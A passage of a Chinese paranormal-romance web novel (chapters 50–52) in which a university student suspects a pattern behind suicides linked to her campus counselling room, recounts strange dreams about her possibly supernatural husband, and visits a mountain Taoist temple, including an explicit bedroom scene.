谭家父母认为是学校和这位周姓老师的不作为导致了这场悲剧,在媒体面前更是含糊其辞,颠倒黑白,说学校忽视了学生的心理健康,最终把他们的女儿逼到自杀。 A大本来就已经接连三年出现自杀事件,现在谭家父母又这么说,网上的舆论自然是一边倒,不仅开始抨击A大的不作为,更是将给谭钰琳进行心理咨询的周姓老师给扒了出来。 兰稚青眉头紧皱,看着评论里越来越难听的话,她气得噼里啪啦打了一堆字和对方骂得有来有回。 可是光在网上和网暴造谣的人对线也不是个办法,兰稚青犹豫了许久,还是选择给周老师打个电话问问情况。 周老师那边电话接的很快,似乎是因为兰稚青突如其来的来电让她觉得意外,但她的声音还是带着淡淡的笑意。 “青青?你怎么打电话过来了,是已经回学校了吗?” “周老师……” 兰稚青有些犹豫,小心翼翼道:“您现在没事吧?” “……什么?” 电话那头的周老师愣了一下,很快便意识到兰稚青在说什么,她不由得轻轻叹了口气,“你是在说网上的事情吧,放心吧,我没事,只是被暂时停职,正好还可以在家里多待几天。” 不知道是不是也是因为心里委屈,周老师声音里都带着些许的无奈,解释道:“其实这样的事也实在没办法,现在网上风风雨雨的,学校也一直在压热搜,估计再过几天也就消停了。” 兰稚青闻言有些欲言又止,但周老师却不给她说话的机会,转头又将话头引到了她的身上,问道:“你呢,你最近过得还好吗?” “……老师,我一切都好。” 兰稚青简单和她讲了一下自己过年期间和家里一刀两断的事情,周老师闻言顿时长舒了一口气 “那我就放心了。” 周老师沉默了许久,轻声道:“这样就是最好的。” 兰稚青听出了周老师语气中的复杂,她试探问道:“周老师,你真的没事吧?” “青青,外面现在都在说谭钰琳是在学校接受过心里咨询后选择自杀的,其实不仅是这样。” 周老师顿了顿,缓缓开口道:“之前自杀的韩晓和李杰也都曾经来过学校的心理咨询室接受过心理咨询,虽然他们两个的心理咨询并不是我负责的,但是他们的死真的给我带来了很大的阴影。” “出了这些事之后,我总觉得是自己的错,谭钰琳是我毕业来到这个A大后接手的第一个学生,当时我已经察觉到她有严重的抑郁和自残倾向,但是我却没有给予足够的重视。” 周老师提起过往声音都带着些许的哽咽,“按照流程,我应该及时上报给学校,通知她的导员和家长,可是那个时候她跪在我面前求我,她说她自己会好好治疗,她不想被别人知道她这么脆弱,更没办法告诉自己的父母真相。” “我陪着她去挂了心理科的号,陪着她做了检查开了药,她当时在医院门口抱着我大哭,说自己一定会好好生活,可是不过短短两个月的时间,她就从楼顶一跃而下。” 周老师轻声道:“自此之后,我就再也无法坦然面对我的职业,甚至有的时候我会觉得自己是个间接杀人犯,所以在第二年学校药将我外派学习的时候,我毫不犹豫答应了下来。” “青青,我真的很庆幸你过得很好,有的时候我总觉得你和谭钰琳很像,但是你或许比她更加幸运。” 周老师在电话那头泣不成声,兰稚青能听到她在喃喃说着对不起,她将自己所有的委屈与愧疚都一股脑地说了出来,像是积蓄已久的水源终于有了可以泄闸的机会。 在此时此刻,她们之间的身份仿佛发生了对调,兰稚青不知道怎么进行心理咨询,可是她却知道,这个时候自己只需要成为一个倾听者就已经足够。 周老师说了很多事情,她说起自己读书上学时的抱负,说起自己第一次走上讲台去上心理教育课时的紧张,她说自己的姐姐因为学业压力喝药自杀,所以她毫不犹豫选择了心理学,希望以后不会再有人走上和她姐姐一样的道路。 直到电话挂断,兰稚青也许久都没有回过神来。 她觉得自己的心情也十分复杂,复杂到她根本分不清到底是哪一种感情。 在有一瞬间,她觉得自己很伤心,为谭钰琳伤心,为周老师伤心,也为自己伤心。 兰稚青又把自己埋在了被子里,她觉得自己的脑子很乱,纷乱的思绪像是飞快闪过了什么,可是却快到她几乎抓不住。 去 过心理咨询室的三个人都先后自杀了,这真的只是巧合吗? 可是如果心理真的出了问题,确实自杀的概率也会提升,就像是她就很有可能会是第四个…… 第四个…… 兰稚青动作微微一僵,她突然掀开被子跳下了床,手忙脚乱离开房间去寻找沈寂的身影。 “沈寂……沈寂!沈寂,你去哪里了……” 沈寂正在书房备课,听到兰稚青的声音下意识想要起身,可是兰稚青却先一步推开了书房的门。 她像是一只受惊的小鸟一样扑到了他的怀里,她脸色苍白,眼神中还带着未曾消散的恐惧。 “乖乖,怎么了?” 沈寂把兰稚青捞到腿上坐好,连忙开口问道:“到底出什么事了?” “我……我害怕。” 兰稚青整个人都在打哆嗦,她声音颤抖,许久才语无伦次道:“我会死……不对,我差一点就死掉了……” “乖宝,你到底在说什么傻话。” 沈寂摸了摸她苍白的脸颊,书房的灯是冷色调的,在灯光的照耀下,兰稚青的眼睛似乎有一瞬间异化成了竖瞳,而后又很快恢复正常。 沈寂轻轻抱住了兰稚青,耐心道:“亲爱的,你不会死的,这种事情永远都不会发生的……” “到底发生了什么事,你慢慢告诉我好不好?” 兰稚青在沈寂的怀里冷静了下来,可是她张了张嘴,却不知道如何开口描述那种莫名的恐惧。 她觉得自己一度和死神擦肩而过,这种感觉和她曾经误会沈寂要杀死她的感觉不同,她觉得自己像是一只被锁定了目标的猎物,不知何时死神的镰刀就要带走她的性命。 沈寂见她不吭声也没有强求,他温声道:“今天晚饭也没有吃,你是不是饿了,要不要先下去吃点东西?” 兰稚青把头埋在了他的怀里,许久才小声道:“我要吃雪菜黄鱼面。” 沈寂闻言轻轻应了一声,他本来想放兰稚青才休息一会儿,可是兰稚青却似乎非常没有安全感,一直待在厨房盯着他。 她也不说话,就是一直盯着他的脸在看。 兰稚青经常会有这种古里古怪的小动作,沈寂并没有过多的在意,他把面做好端到餐桌上,自己坐在兰稚青的对面转而开始盯着她。 兰稚青埋头吃了半碗,终于组织好了自己的措辞。 “我今天和我们学校心理咨询室的周老师打电话了,两年前我们学校有一个女生自杀了,她的爸爸妈妈最近找到了她的遗物,说是那个女生之前去过学校的心理咨询室,之后就跳楼自杀,要求学校赔偿,这件事情你知道吗。” 沈寂闻言皱了皱眉,淡淡道:“好像有所耳闻,不过这种事学校一般都会采取冷处理的办法,现在新闻更迭速度很快,过不了多久也就平息下来了。” “周老师告诉我,之前A大自杀的三个人都曾经去过心理咨询室,后来他们就都死了,其实我之前也去过,因为家里的事情让我压力很大……” 兰稚青抿了抿唇,有些神经质地小声道:“我觉得我差一点就是第四个,这是一种直觉,我不知道怎么解释这种感觉……” “自杀的人都去过心理咨询室,而且一年死一个,听起来确实有点让人惊讶,像是某种诅咒。” 沈寂闻言若有所思,他并没有把兰稚青这种直觉看做是一个玩笑,反而是思索了片刻,开口道:“当然,也或许是A大的心理咨询室确实有问题,不过这些事情警察应该也都调查过了才对。” 兰稚青对沈寂的话不置可否,她也知道沈寂说的话都没错,如果真的有什么疑点,那警察一定都已经调查清楚了才对,怎么可能会耽误这么长时间,而且负责那三个人心理咨询的是三个不同的心理咨询老师。 “不过这也不排除是有人知道他们准备自杀,所以故意借此满足自己的杀人癖好。” 沈寂心里有了锁定的目标,他微微垂下了眸子,遮住了自己眼底的冷意,温声道:“或许我可以帮你拿到一份你们学校心理咨询室来往工作人员的名单,你可以对照一下,看有没有和你打过交道的。” 这倒也的确是个办法,兰稚青闻言心里稍稍安定了些许,可是解决了一件事之后,另一件事也紧跟着冒了出来。 她犹豫了片刻,试探问道:“我们明天可以去白龙山爬山祈福吗?” 沈寂闻言答应得很干脆,“当然可以。” 兰稚青抿了抿唇,她盯着沈寂的脸半晌,突然冷不丁开口问道:“沈寂,你应该不是妖怪吧?” “……什么?” 沈寂闻言脸色一僵,他的脸上适时露出些许的困惑,奇怪道:“你怎么突然这么问?” 兰稚青实话实说道:“因为我总觉得你像狐狸精。” 50-60 第51章 第51章我在梦里吃这么好 沈寂身体力行向兰稚青展示了一下狐狸精到底是什么样子的。 兰稚青本来想直接回去睡回笼觉,可是莫名其妙又被沈寂勾引坐到了他的身上。 “你的身上怎么这么香……” 兰稚青像小狗一样抱着沈寂闻来闻去,像是在闻一块香喷喷的肉骨头。 沈寂非常纵容地任由她所有的动作,甚至在兰稚青要解开他衣扣的时候还顺便帮了她一把。 兰稚青因为噩梦惊醒时在他身上又啃又咬留下了一串痕迹,现在又像只小狗一样对着他舔过来舔过去,甚至连沈寂的手趁机把她从头到尾摸了个遍也没在意。 沈寂倒是很喜欢兰稚青在上面,这样他就能清楚看清她每一个细微的表情,但问题是兰稚青自己完全把握不住节奏,三分钟不到就撒娇说自己累了要睡觉。 就像是现在,她蹭了蹭把自己蹭舒服了,又软成了一滩兔兔饼趴在了他的身上,一边细细喘着气一边小声道:“老公,我累了。” “累了呀,累了那我们乖乖就睡觉觉吧。” 沈寂非常大度地松开了兰稚青,兰稚青闻言眨了眨眼,没想到他这么简单就放过了自己。 不过她向来见好就收,闻言连忙滚进了柔软的被窝里,生怕一会儿沈寂又会反悔。 她闭上眼睛准备入睡,可是刚才的疲倦恢复过来之后,她又觉得有些莫名的心痒,犹豫了一会儿又蹭回了沈寂的身边。 “……可不可以再来一次。” 兰稚青趴在沈寂身上小声嘟囔了一声,沈寂点了点头,顺着她的意思轻轻用指尖帮她揉了揉。 兰稚青没过几分钟又哼哼唧唧舒服得软成了一滩兔兔饼,她窝在沈寂怀里缓缓平复着自己的呼吸,等到冷静下来再度故技重施翻脸不认人。 “好累哦,我们睡觉吧。” “嗯,晚安。” 沈寂闻言似乎真的一点都不恼怒,他默默答应了下来,顺便帮兰稚青掖了掖被子。 兰稚青心满意足躺了回去,她抱着自己的兔兔玩偶准备呼呼大睡,可是偏偏那股诡异的感觉又来了。 她无意识夹了夹自己的腿,有了之前的经验,她一回生二回熟,干脆又慢吞吞蹭到了沈寂的身边。 “老公……” 沈寂闻言缓缓睁开了眼,看到抱着自己手臂的兰稚青有些疑惑,问道:“怎么了乖乖,不是要睡觉吗?” “再来一次好不好……” 兰稚青有些期待地盯着他,可是沈寂却似乎根本不为所动。 他收回了自己的手,理由充分道:“太晚了,我们还是先睡觉吧,不是说明天要去爬山的吗?” “不晚啊,现在才九点钟,再来最后一次嘛……” 兰稚青见沈寂不愿意搭理他,她只能勉为其难让步给对方一点好处,主动凑过去亲他。 沈寂依旧无动于衷,淡淡道:“你不是说你累了吗?” “刚才是刚才,现在是现在,现在我不累了。” 兰稚青又钻进了沈寂的怀里,沈寂被她缠得没办法,只能委婉道:“宝贝,你最近是不是太频繁了一点?” “那……那都是因为蛇毒。” 兰稚青闻言有些脸色涨红,只能干巴巴找借口辩解自己的行为。 “可是如果我没记错的话,你被蛇咬到还是除夕的时候,这么长时间了蛇毒还没有代谢出去吗?” 沈寂是个合格的猎人,既然有兔子主动送上门那他自然不能空手而归,他先动手非常温柔地安抚了一下兔子情绪,等到兔子舒服得马上又要化成兔兔饼的时候,他突然本性暴露直接把兔子压在了床上。 兰 稚青还没反应过来发生了什么就突然被沈寂从后按倒,她下意识想要挣扎,但是却被沈寂轻轻松松压制住。 “我不要了真的不要了!你快点把我松开!” 她敏锐的直觉让她感受到了些许的危险,可是她此时早就掉进了陷阱之中,沈寂怎么可能让到嘴的鸭子就这么飞了。 “宝宝,刚刚你已经舒服了好几次,现在是不是到了该报答我的时候了。” “等一下……不要从后面……” 兰稚青猝不及防又被沈寂抱了进来,她整个人坐在沈寂的身上,由于完全背对着他,根本看不到他任何的表情,她自己在那里可怜巴巴掉着眼泪,也根本无人理会。 她又想起了自己在梦里的时候,该死的奴隶主沈寂一边抓着她的兔尾巴一边威胁她自己动,她动的快了会被掐clitoris,动得慢了又会挨巴掌。 到底是谁说现实和梦都是相反的,明明就是一样的。 兰稚青觉得自己此时此刻就像一棵无根的浮萍,她觉得自己的精神已经高度紧绷成了一点,她下意识抓紧了沈寂的胳膊,指甲在他白皙的皮肤上留下了划痕。 她的大脑一片空白,似乎有水源离开了她的身体,在兴奋过后很快又是疲累,她以为自己可以休息,但是沈寂却完全不管不顾,她短暂的冷静期还没有结束,他又再度强行逼迫她兴奋。 好累…… 做梦累完醒着还要累…… 沈寂抱着她调整了一下姿势,兰稚青又是一阵挣扎,但是全部被暴力镇压,沈寂微微俯身含住了她的唇瓣,他能感受到兰稚青在他怀里细细地颤抖。 兰稚青觉得自己今天真的就是自讨苦吃,她真的是脑子不正常了才把主意打到了沈寂的身上。 睡着了在梦里被欺负,睡醒了还要在现实被欺负。 兰稚青越想越觉得绝望。 最开始她还能给点反应,到后来直接变成一块兔兔饼被啃得干干净净,顺带连骨头还能煲一锅美味的兔兔汤。 沈寂抱着她洗完澡吹完头发,兰稚青已经在他的怀里昏昏欲睡,沈寂亲了亲她的脸颊,刚要准备抱着她躺回床上,兰稚青却已经自顾自卷走了被子,只拿背影对着他。 沈寂轻轻戳了戳她,温声问道:“又生气了吗?” 兰稚青把头埋在被子里不搭理沈寂,沈寂干脆连人带被把兔兔春卷一起抱进怀里。 兰稚青挣扎了两下没挣扎动,只能暂时放弃挣扎,恶狠狠用眼神瞪着沈寂,试图吓退她。 “好了,先不要生气了,今天不是你主动要做的吗?” “可是我没有让你一直做!” “嗯,那就是我不对,我给乖乖道歉。” 沈寂觉得可爱,没忍住又凑过去亲了一口,轻声问道:“不过你可以告诉我,你今天傍晚的时候为什么突然不理我了吗?” 兰稚青闻言默默把自己的脸埋进了被子,别扭道:“……你欺负我。” “宝宝,我什么时候欺负你了。” 沈寂闻言愣了一下,脑子开始飞快转动。 他这次偷走兰稚青的小绵羊之后又给她补上了一条一模一样的,按理说应该天衣无缝,完全看不出来才对啊。 虽然上次偷偷舔她的时候他确实没忍住咬了她一口,但是当时她哼哼唧唧的感觉应该还没醒,应该也不会发现…… 兰稚青沉默了许久,小声道:“你在梦里欺负我了……” “……什么?” 沈寂闻言一怔,他反应得很快,立马就抓住了重点,温声道:“原来我们宝宝是做噩梦了。” “不是噩梦。” 兰稚青打断了沈寂的话,强调道:“是超级无敌连环噩梦。” 她在被子里调整了一下自己的姿势,但是又感觉自己腰酸腿疼,所以还是从被子里钻了出来,趴在沈寂的怀里让他给自己按摩揉腰。 “我们明天去白龙山的道观一趟,那边有一个道士我认识,我想让他帮我解解梦。” 兰稚青也不打算瞒沈寂,直接开口道:“这个道士可神了,虽然看着吊儿郎当的,但是上一次我们去买年货的时候……就是去龙华商场的那一次,他一看见我就说我养了小宠物,说让我有事找他。” 沈寂耐心听着兰稚青说话,闻言微微一顿,“小宠物?” “对呀,当时他说小宠物我还没反应过来,后来过了好久才意识到他可能说的是蛇蛇。” 兰稚青解释道:“他说他当时在我身上闻到蛇的味道了。” “……是这样啊。” 沈寂闻言神色不变,看起来丝毫没有任何破绽,他弯了弯眉眼,含笑认可道:“那他可能确实有点本事。” 兰稚青倒是还想继续再说纪云飞的事情,但是沈寂却突然岔开话题问道:“所以你到底梦到什么的呢?” “我梦见自己是一个要进京赶考的书生,第一次的时候我去一户人家家里讨水喝,结果吃了他们的饭,他们就说他们家小姐看上我了,要和我成亲。” 兰稚青微微直起了身子,严肃道:“结果你猜怎么着,我一掀盖头发现你就是那个小姐,而且还变成了一条大白蛇。” 沈寂:“……听起来有点像聊斋。” “第二回我又做梦梦到了,这次我什么都没吃,进京考了状元,结果莫名奇妙又和长得和你一模一样的公主在一起了,还生了一个兔头蛇尾的蛋。” “……” “第三回我心想自己吃了这么多次亏,所以干脆不考了,回家和你一起开医馆,结果有个和尚说你是蛇妖,我就拿雄黄酒给你喝,结果你又变成了一条大白蛇。” “……” 唯物主义者的直觉都这么精准吗? 沈寂脸色有些僵硬,他沉默了许久,还是耐着性子温柔道:“可是宝宝,这都是以前的事了吧,你现在不是说你不怕蛇了吗?” “对啊,所以更可怕的事情发生了。” 兰稚青回想起自己今天做的梦就觉得后怕,她小声道:“我想着我既然不怕蛇了,所以就在梦里等着你把我捡回家,结果突然有一群锦衣卫把我抓起来了,你就是那个锦衣卫头头,说我是蛇妖。” “……之后呢。” “然后你就把我抓进大牢把我绑在架子上扒了我的衣服……” “等一下。” 沈寂捕捉到了关键词,他一脸震惊,“我扒你衣服干什么?” 兰稚青又想起梦里沈寂冷冰冰的眼神,她越想越觉得委屈,小声道:“你说蛇蛇偷吃了东西,让我负责,还说我身上有蛇鳞和兔子尾巴,怀疑我是兔兔蛇,要仔细检查我。” “……” 监狱,捆绑,审讯,兔尾。 兰稚青梦里的他竟然吃这么好吗? 沈寂大为震惊,但还是说道:“可是宝宝,我只是审你,我也没有欺负你啊。” “我和蛇蛇还不上钱,你就让我们两个去你家里当奴隶,我不听话你就不给蛇饭吃,而且还在我的尾巴上挂铃铛,动不动就咬我的尾巴。” 兰稚青想到自己梦里的悲惨境遇一时间又差点没忍住想哭。 沈寂听了也有些想哭。 兔子尾巴上挂铃铛,这么好的办法他之前怎么就没想到呢。 “所以你是因为这些梦才想去白龙山的?” 沈寂温声道:“宝宝,你是不是最近精神比较紧张,日有所思夜有所梦。” “……我不知道,我就是觉得怪怪的,而且我最近总觉得身体很累。” 兰稚青其实心里也有点拿不准主意,但是她还是小声道:“反正就过去问一问,实在不行我们就当爬山了。” 她执意想去看看情况,沈寂自然也不会有什么异议,只是随口问道:“你说的那个道士叫什么名字啊。” “纪云飞。” 兰稚青飞快报出了纪云飞的名字,随口问道:“你知道他吗?” 沈寂摇了摇头,实话实说道:“不知道。” 兰稚青打了个哈欠,小声道:“我也感觉你不会知道,那个人看起来吊儿郎当的,不像道士,像个小混混……” 沈寂哄着兰稚青先睡了,等到确认她已经睡熟,这才拿出手机让人去查纪云飞的资料。 对面反应很迅速,一个小时不到就已经把纪云飞的大致资料发了过来。 沈寂一目十行大致扫完了纪云飞的信息,而后盯着照片上纪云飞那一头乱七八糟的绿毛不由得皱了皱眉,喃喃道:“果然像个小混混……” 兰稚青窝在沈寂的怀里睡得正香,整个人都像是一团软绵绵的棉花糖,沈寂把手机放到一旁,顺势把她抱得更紧了一些。 …… 按照兰稚青的设想,她是想早上早早起床,然后精神饱满地爬山去白龙山道观找纪云飞解梦。 然而实际上不知道是因为昨天晚上太累了还是因为她最近实在睡得有点多,她一觉睡醒已经日上三竿,勉强被沈寂拉起来吃了一顿午饭,之后才打着哈欠准备坐车去邻市的白龙山。 她提前发消息给纪云飞打了招呼,顺便还特地搜索了一下白龙山附近有什么好玩的。 如今还没有到迎春盛开的时候,但是一场细雨过后枝头已经探出了花苞,看着总有一种含苞欲放的生机。 兰稚青站在山下茫然看着眼前的山路,半山腰的道观在远处若隐若现,她不太确定道:“我们真的要爬上去吗?” 沈寂点了点头,“如果想要去道观的话,只能走山路爬上去。” “……” 不是,怎么没人告诉她去个道观要爬这么远啊。 运动菜鸟兰稚青实在高估了自己的能力,由于刚刚下过雨,路面陡峭又湿滑,她爬了不过二十分钟就已经累的气喘吁吁,但又找不到地方坐下,只能像只树袋熊一样挂在沈寂的身上。 “好累啊……” “宝宝,再坚持一下,马上就到了。” “我不要坚持了,你抱我上去吧。” 兰稚青趴在沈寂的怀里不愿意下来,和她的状态相比,沈寂脸不红气不喘的,跟个没事人一样。 “不可以,你要自己爬上去。” 沈寂拒绝了兰稚青的要求,直接把她放了下来,兰稚青还是觉得累,她下意识又像往沈寂的怀里扑,但是却被沈寂直接避开。 “快点,就当锻炼身体了。” 沈寂催促了她一声,兰稚青只能不情不愿地跟上,一路上左看右看,希望可以接着看风景缓解自己的疲惫。 白龙山的风景确实还算不错,山脚下种着的是迎春,半山腰处的悬崖还有腊梅,从上而下俯视下去,可以看到一片雪白的花海。 兰稚青趴在栏杆上往下看,她刚刚想让沈寂一起过来,可是下一秒却看到沈寂脚下一滑,直接朝悬崖跌了下去。 “沈寂!” 兰稚青瞳孔一缩,她下意识想要翻过栏杆,但是却被路过的路人死死抓住。 “姑娘,你这是干什么,下面是悬崖,你不要命了!” “我老公……我老公他掉下去了。” 兰稚青脸色惨白,她的大脑一片空白,手忙脚乱拿出手机想要报警,她觉得自己在瞬间如坠冰窟,浑身上下的血液都在一瞬间被冻住了,只有眼泪还在不受控制往外流着。 沈寂怎么会从悬崖上掉下去,他怎么会掉下去…… “出什么事了?” 兰稚青手指颤抖地要按下拨通键,可是一道熟悉的声音却突然从身后传来。 沈寂手里拿着一瓶牛奶,满脸诧异地看着面前发生的一切,他看到兰稚青跌坐在台阶上掉眼泪,连忙过去查看她的情况。 “宝宝,怎么了,是不是哪里不舒服?” 兰稚青看到沈寂的出现愣了一下,“你……你没死?” 沈寂面露疑惑,“宝宝,你在说什么,我怎么什么都听不懂。” 路人观望了一下情况,有些疑惑问道:“不好意思,请问你们是什么关系,刚刚这个小姑娘说她老公掉下悬崖了。” “……什么?” 沈寂有些无奈,解释道:“抱歉,我就是她老公,她可能是太累了看错了,不好意思麻烦你们了。” 路人闻言倒是没有再说什么,只是神色古怪地看着他们,不知道是不是在想他们是什么精神病。 沈寂把手里的热牛奶塞到了兰稚青的手里,仔细帮她擦干净脸上的眼泪,这才慢条斯理把她抱了起来,温声解释道:“乖乖,别害怕了,我刚刚是去给你买牛奶了。” “可是我看到你掉下去了……” 兰稚青小口吸着手里的牛奶,她摸了摸沈寂的衣服,“你的外套呢?” “刚刚不小心被小孩子弄脏了,我就扔掉了。” 沈寂轻轻叹了口气,安慰道:“你一定是没有休息好,所以出现幻觉了。” 幻觉…… 刚刚真的是幻觉吗? 兰稚青用手把沈寂仔仔细细摸了一遍,似乎在确认眼前的沈寂真的就是沈寂。 她的指尖擦过了沈寂的发丝,一朵小小的腊梅猝不及防掉了下来,兰稚青有些发愣,可是沈寂却径直抱着她离开。 纪云飞收到兰稚青的消息后特地在道观门前等着她,今天是休息日,来上香祝祷求签的人也不少,不过他发型吊儿郎当的,即使穿着道袍也没人觉得他就是真道士。 “小飞啊,你说你年纪也不小了,不能总和你姑姑那样一直不结婚吧。” 王阿婆拉着纪云飞的手絮絮叨叨个不停,“你看看你这一头绿毛,和个绿毛龟一样,我相亲都不敢给人家看你照片。” 纪云飞头疼不已,只能耐心道:“奶奶,你别管我了,我二十岁出头的年纪结婚太早了,你先回去吧,我今天还有事要办呢。” “二十岁出头怎么了,我和你说,什么事都得先办,你看看你姑姑,过完年都三十八了,现在还单着没个着落。” 王阿婆完全不听纪云飞的话,念叨道:“我之前去大学城那边摆摊,有个小姑娘人家大学都没毕业就结婚了,你看看人家这速度,直接一步到位了。” 纪云飞闻言更加头疼了,连忙道:“奶奶,算我求你了,你以后别再去摆摊算命骗人了,您老岁数也不小了,平时和街里街坊打打麻将不就挺好的。” 王阿婆闻言立马脸色一沉,“这怎么能叫骗人!我和你说,过来找我算命的人多得不得了……” 兰稚青被沈寂一路抱着到了道观的门口,沈寂把她稳稳放了下来。 纪云飞发色很显眼,兰稚青一眼就找到了他的位置,她面色一喜,刚刚准备上前,可是看到他身边的老太太又陷入了沉默。 好眼熟…… 这老太太是不是就是上次在大学城骗她算命买朱砂的那个骗子?! 第52章 第52章你老公还没死啊 纪云飞远远也看到了兰稚青的身影,他连忙朝她招了招手,低声对身旁的王阿婆说道:“奶奶,我今天是真的有事,您要不还是先回去吧,我过两天再回家看您。” “真是的,不晓得你一天到晚哪里来这么多事,你说说你一个好好的高材生,跑来当什么道士啊……” 王阿婆嘟囔了两句,刚刚准备要离开,可是却看到了朝他们这边走过来的兰稚青。 她愣了一下,有些奇怪地打量了一眼对方,总觉得这张脸看起来好像有点眼熟。 兰稚青实在没想到会在这里碰到之前的骗子,虽然说她当时盼着沈寂早死没被骗成,但是到底也是一次被骗经历。 这年头连骗子都这么卷了吗,骗人算命都要特地来道观里进修。 “我想起来了……” 王阿婆看到兰稚青走近终于记起她到底是谁,她恍然大悟道:“你是不是之前在大学城天桥底下找我算过命,算桃花的是不是你?” 上次她看见兰稚青的时候她戴着眼镜穿着卫衣背着帆布包,一看就是个清澈愚蠢的宅女,现在她看起来倒是容光焕发,像朵俏生生的玉兰花。 “哈?” 纪云飞脸上肉眼可见闪过一丝困惑,诧异道:“奶奶,你们认识吗?” “认识认识 ,这就是我刚刚和你说的还没毕业就已经结婚的小姑娘。” 王阿婆感慨道:“果然是有缘千里来相会,没想到这么巧还在在这里碰到。” 纪云飞闻言觉得自己的头变得更疼了,他的视线下意识看向了兰稚青身旁的沈寂,不由得轻轻皱了皱眉。 平心而论,他不否认面前这个男人确实长得很好看,一举一动也温和斯文,让人完全挑不出半分错处。 可是纪云飞总感觉有些不太舒服,甚至本能觉得有些危险,他对上了沈寂冷淡平静的眼眸,有些慌张地移开了自己的视线。 王阿婆对此时的混乱局面毫无察觉,她热情道:“哎,姑娘,你今天是来干什么的,我和你说这里的神仙可灵了,保准你心想事成。” “……谢谢,我是来找人的。” 兰稚青侧头看向了纪云飞,纪云飞脸色尴尬,只能苦笑道:“不好意思,这是我奶奶,我不知道你们认识……” “你奶奶?!” 亲娘嘞,这难道还是家庭式的团伙诈骗?! 兰稚青的神色陡然变得古怪了起来,她的眼神有些警惕地在两人之间穿梭,开始思考自己要不要现在就拉着沈寂打道回府。 “对,这是我奶奶,要是之前有冒犯到你真不好意思啊。” 纪云飞知道自己奶奶喜欢到大学城摆摊骗骗小姑娘,不管他们这些小辈怎么说她都不停,结果今天倒好,和受害者碰个正着。 他搓了搓手,有些尴尬地转移话题,看向了跟在兰稚青身旁的沈寂,问道:“这位是……” 兰稚青下意识伸手牵住了沈寂的手,解释道:“这是我老公,他今天陪我一起来的。” 王阿婆闻言愣了一下,脱口而出道:“你老公还没死呢?” 纪云飞:“……” 兰稚青:“……” 沈寂:“……” 本来就算不上好的气氛在此时更是像被冻住了一样,在场所有人都陷入了诡异的沉默。 当事人沈寂歪了歪头,平静问道:“难道我很该死吗?” “不是不是,我没说你。” 王阿婆大脑一片空白,干巴巴问道:“你们这是二婚了吗?” 兰稚青:“……” 纪云飞:“……” 沈寂:“……” “我们只结了一次婚。” 沈寂露出了一个皮笑肉不笑的笑容,强调道:“我是原配。” 王阿婆后知后觉意识到自己说错了话,连忙辩解道:“别误会,我不是那个意思,我就是觉得你们感情好……” 话说到一半她自己都觉得编不下去,只能讪讪笑了笑,默默把嘴给闭上。 “对不起对不起,我奶奶说话有的时候没怎么细想,你们要不要先去那边的姻缘树祈福许愿,直接说是我的朋友就行,不收你们钱。” “我奶奶腿脚不好,我先找人把她送下山,一会儿我再来找你。” 纪云飞赔笑帮王阿婆辩解,兰稚青闻言皱了皱眉,倒是也没有在这件事情上不依不饶,拉着沈寂就去了道观前有百年树龄的姻缘树前。 凛冬刚过,天气回暖,树的枝干上也长出了青翠的嫩芽,一阵风刮过,上面挂着的木牌相互碰撞,发出阵阵悦耳的声响。 负责售卖木牌的人在旁边搭了个桌子,看到有人过来,懒洋洋介绍道:“一人八十,两个人一百五,三个人两百,四人两百五,五人以上自动成团,成本价五十五一人。” “……这东西管用吗?” 兰稚青将信将疑,她探头看了一眼桌子上的木牌子,发现不过是普通的木牌,网上批发成本价一个不会超过五块钱。 一旦和姻缘两个字扯上关系,身价立马翻了十倍不止。 “那当然管用啊,你看这上面的木牌,还印着百合花呢,百合百合百年好合,你要是系上了,这姻缘的保质期立马就变成一百年了。” 卖木牌的人巧舌如簧,看到兰稚青和沈寂是两个人来的,立马推销道:“你们是第一次来吧,我给你们算便宜点,两个人一百三,祝你们一生一世一双人。” 兰稚青抿了抿唇,小声道:“我们是纪云飞的朋友。” “啊……你们是云飞的朋友啊,咋个不早说。” 买木牌的人闻言愣了一下,他在箱子里仔细挑了两块木牌递给了兰稚青,笑眯眯道:“拿着吧,免费送你们了,这可是里面最好看的两块。” “……谢谢。” 兰稚青礼貌和对方道谢,她虽然对这种东西不太感兴趣,但是她觉得沈寂应该会喜欢,所以下意识回头看向了他。 沈寂沉默站在她的身后,他的神色看起来似乎并不开心。 兰稚青不知道发生了什么,所以主动把木牌塞到他的手里,提议道:“我们去挂木牌,好不好?” “……我不要。” 沈寂垂眸盯着手里的木牌,开口拒绝了兰稚青的邀请。 “怎么了?你是不是又不开心了?” 兰稚青已经许久都没有这种哄着大小姐的感觉了,她伸手抓住了沈寂的指尖轻轻晃了晃,软声道:“到底怎么了嘛。” “他说我们的姻缘保质期只有一百年。” 沈寂有些嫌弃地晃了晃手里的木牌,没好气道:“这种诅咒真是恶毒。” “其实也没有说错吧,毕竟我们最多也只能再活一百年……” 兰稚青话说到一半意识到不对,她立马改口道:“但是我们下辈子,下下辈子还是要在一起的,所以肯定是不止一百年,你不喜欢那我们就不挂了。” 沈寂闻言神色这才由阴转晴,勉强算是被兰稚青哄好了。 自己的姻缘牌又不能挂,纪云飞又还没有回来,兰稚青闲得无聊,只能站在树下看别人的姻缘牌上都写了什么。 她随手翻了一块,上面认真写道:【苏嘉佳和财神爷天长地久永不分离】 “……” 算了,人之常情。 兰稚青默默放开牌子,转而看向了边上挂着的一串牌子,随手一翻:【赵石磊要和张美娜永远在一起】 这次是真的甜蜜恩爱小情侣。 她笑了笑,又翻了一块,上面写着:【张美娜要和钱方一百年好合】 三角恋,不算少见。 兰稚青慢吞吞翻了第三块,上书:【钱方一生生世世爱孙妍妍】 “……” 四角恋,不足为奇。 她一脸震惊地翻开了第四块:【孙妍妍与白冰清永结同心】 “……” 兰稚青觉得自己的手都在发抖,犹豫片刻才翻开最后一块牌子,【白冰清永爱赵石磊】 “……” 好可怕的姻缘树,红线竟然还是环形结构的,怪不得是五人成团有团购优惠。 这道观未免也太邪门了。 兰稚青再度开始怀疑自己这次过来到底是不是也即将掉进杀猪盘了。 那个纪云飞该不会是什么诈骗分子吧…… 纪云飞不知道自己在兰稚青心里的形象已经跌到了谷底,他把王阿婆送出道观,王阿婆还在絮絮叨叨说个不停。 “真的不是我说话不好听,那个小姑娘之前过来找我的时候,说她老公命硬,什么喝了农药出了车祸都死不了。” 王阿婆咂了咂嘴,又道:“不过那个小伙长得确实挺俊的,要是你姑姑也能找个这样的,我做梦都能笑醒。” “……什么一直死不了?” 纪云飞敏锐捕捉到了王阿婆话里的关键词,他连忙追问道 :“奶奶,这件事是兰稚青和你说的吗?” “兰稚青?你是说那个小姑娘是吧。” 